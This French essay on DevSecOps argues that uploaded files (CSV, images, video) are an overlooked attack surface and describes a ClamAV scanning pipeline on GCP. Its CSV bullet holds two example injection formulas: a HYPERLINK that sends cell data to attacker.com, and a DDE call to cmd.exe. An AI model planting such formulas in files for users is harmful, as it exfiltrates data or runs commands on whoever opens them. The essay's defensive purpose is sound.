Les angles morts de la sécurité ne sont pas où vous pensez

Image générée avec Nano Banana

Un fichier CSV peut contenir du code malicieux.

Si cette phrase vous fait hausser les épaules, c’est probablement parce que vous raisonnez en termes de format de données — pas en termes de surface d’attaque. Ce ne sont pas les mêmes réflexes, pas le même paradigme. Et ce glissement entre les deux est l’un des angles morts les plus courants dans des équipes pourtant rigoureuses.

C’est le type de question qui préoccupe mon équipe et moi au quotidien : non pas les vulnérabilités évidentes, mais celles qu’on ne pense pas à chercher.

Une équipe rigoureuse. Un angle mort.

Considérons une équipe sérieuse qui livre des plateformes critiques. Elle couvre ce que tout bon ingénieur couvre :

• La solidité de la chaîne de certificats SSL
• La configuration des Content Security Policies
• La protection contre les injections SQL — y compris via les paramètres d’URL
• Le cloisonnement des données par client et par rôle, via des Row-Level Security granulaires
• La prévention de l’élévation de droits non autorisée
• L’obfuscation des versions de logiciels exposées
• Le throttling sur les requêtes HTTP pour limiter le bruteforce
• La protection anti-DDoS

C’est une liste longue, et elle est là dès le début du projet, pas en fin de course. DevSecOps, ici, ce n’est pas un mot sur un slide.

Et pourtant. Les fichiers uploadés.

La plateforme permet aux utilisateurs d’importer des fichiers CSV pour alimenter des workflows métier complexes. La chaîne de validation est solide : vérification de l’extension, du type MIME, de la cohérence des colonnes, du délimiteur, du séparateur, des retours à la ligne, de l’encodage. Pré-traitement, post-traitement. Le fichier est analysé sous tous ses angles structurels avant d’être accepté.

Ce que la validation structurelle ne capte pas par nature, c’est le contenu malicieux — indépendamment du format :

• Un CSV peut embarquer des formules malveillantes (CSV injection ou formula injection) : une cellule contenant =HYPERLINK("http://attacker.com/"&A1) ou =MSEXCEL|'\..\..\..\Windows\System32\cmd.exe'!A1 s’exécute silencieusement à l’ouverture dans Excel ou Google Sheets. Aucune validation structurelle ne le voit.
• Une image peut déclencher une exécution de code côté serveur si elle est traitée par une librairie vulnérable. ImageTragick (CVE-2016-3714) en est l’exemple le plus documenté : une image SVG ou MVG malformée soumise à ImageMagick suffit à exécuter des commandes arbitraires sur le serveur. Des webshells PHP peuvent également être dissimulés dans des fichiers à extension .jpg et exécutés si le serveur les interprète.
• Une vidéo peut contenir une playlist HLS malveillante (fichier .m3u8) qui, lors du traitement par FFmpeg, déclenche des requêtes SSRF depuis le serveur — permettant d’atteindre des ressources internes normalement inaccessibles (CVE-2016-1897, CVE-2016-1898).

L’analyse antivirus, tout le monde y pense — sur les postes de travail. C’est un automatisme ancré depuis des décennies dans la culture IT. Mais sur un pipeline cloud qui traite des fichiers uploadés par des utilisateurs métier, le réflexe fait défaut. On raisonne en termes de format, de validation, de traitement de données. Pas en termes de vecteur d’infection.

Format de données d’un côté. Surface d’attaque de l’autre. Ce ne sont pas les mêmes questions — et souvent pas les mêmes personnes qui les posent.

La sécurité d’une plateforme complexe ne tient pas dans un seul paradigme

La sécurité couvre des couches très différentes : réseau, infrastructure, application, données, authentification, comportement utilisateur. Chaque couche a ses propres paradigmes, ses propres menaces, ses propres vocabulaires. Une équipe qui maîtrise parfaitement le RLS peut avoir un angle mort complet sur les vecteurs d’attaque via les fichiers uploadés — non pas par manque de sérieux, mais parce que ces deux domaines n’ont pas les mêmes cadres de pensée.

C’est précisément pourquoi la posture DevSecOps ne consiste pas à “faire plus de sécurité”. Elle consiste à changer la question posée sur chaque fonctionnalité : non plus “est-ce que ça fonctionne ?” mais “comment est-ce qu’on abuse de ça ?“.

Le sprint de rattrapage, symptôme d’une culture à construire

Dans beaucoup d’équipes, la sécurité vit dans le backlog. Elle remonte en priorité avant une mise en production sensible ou une demande client. Puis elle redescend.

C’est compréhensible — la pression du delivery est réelle, les sprints sont courts, et la sécurité est rarement visible quand elle fonctionne. Elle ne génère pas de feedback positif immédiat. Elle génère du silence, ce qui est exactement ce qu’on veut, mais que personne ne célèbre.

Le problème du sprint de rattrapage n’est pas seulement qu’il est stressant. C’est qu’il est structurellement incomplet. On couvre ce qu’on sait déjà chercher. On ne trouve pas les angles morts — par définition, on ne sait pas où ils sont.

La culture DevSecOps, telle que je la conçois, ce n’est pas une checklist supplémentaire dans le sprint. C’est une façon de penser le delivery où la sécurité est une propriété du système, pas un module qu’on ajoute.

Concrètement, ça ressemble à quoi ?

• Les critères de sécurité font partie de la définition of done, au même titre que les tests unitaires
• Les revues de code incluent systématiquement une lecture sous l’angle “surface d’attaque”
• Chaque nouvelle fonctionnalité impliquant des données utilisateur ou des entrées externes déclenche une question explicite : quels sont les vecteurs d’attaque possibles ici ?
• Les vulnérabilités des dépendances sont détectées au build, pas à la main — l’analyse de vulnérabilités intégrée à Artifact Registry sur GCP scanne les packages et remonte les CVE directement dans le pipeline CI/CD
• L’équipe est formée à reconnaître les patterns de vulnérabilité courants — pas pour devenir des experts en sécurité offensive, mais pour avoir le bon réflexe au bon moment

La solution technique — et ce qu’elle dit

Pour les fichiers uploadés, la solution est rapide à mettre en place. Une architecture d’analyse antivirus découplée de la webapp :

1. Les fichiers uploadés sont déposés dans un bucket GCP dédié, isolé
2. Un événement EventArc déclenche automatiquement l’analyse ClamAV
3. Le résultat — succès ou mise en quarantaine — est publié via Pub/Sub
4. La webapp écoute ce topic et traite le fichier uniquement s’il a passé l’analyse

Ce qui frappe, c’est la simplicité de la solution comparée à la gravité potentielle de la faille. Quelques jours de développement, une architecture propre, un risque éliminé. Le coût de la correction est infime. Le coût de ne pas l’avoir fait avant — en termes de réputation, de confiance client, de responsabilité — aurait été considérable.

C’est souvent ainsi avec les angles morts en sécurité : ils ne sont pas nécessairement complexes à corriger. Ils sont complexes à voir.

Ce que j’en retiens

La sécurité n’est pas un argument commercial — c’est une responsabilité. Et la rigueur technique seule ne suffit pas. Il faut aussi cultiver activement le cadre de pensée de l’attaquant — pas pour devenir paranoïaque, mais pour ne pas laisser des angles morts se former dans les zones qu’on maîtrise le moins bien.

Trois choses concrètes :

1. La question “vecteur d’attaque” est systématique sur toute nouvelle surface d’exposition. Upload de fichier, appel API entrant, nouveau champ de formulaire, intégration externe — chaque nouvelle entrée dans le système déclenche explicitement cette question en revue de conception.

2. La sécurité est dans la définition of done, pas dans le sprint de fin de release. Si une user story implique une entrée utilisateur, les critères de sécurité sont écrits en même temps que les critères fonctionnels.

3. Les revues de sécurité sont lues par toute l’équipe, pas archivées après livraison. Chaque finding, même mineur, est une opportunité de former l’équipe à un cadre de pensée qu’elle n’avait pas.

La différence entre une équipe qui découvre ses angles morts sous pression et une équipe qui les trouve elle-même, en avance — c’est précisément ce qu’on appelle la maturité DevSecOps.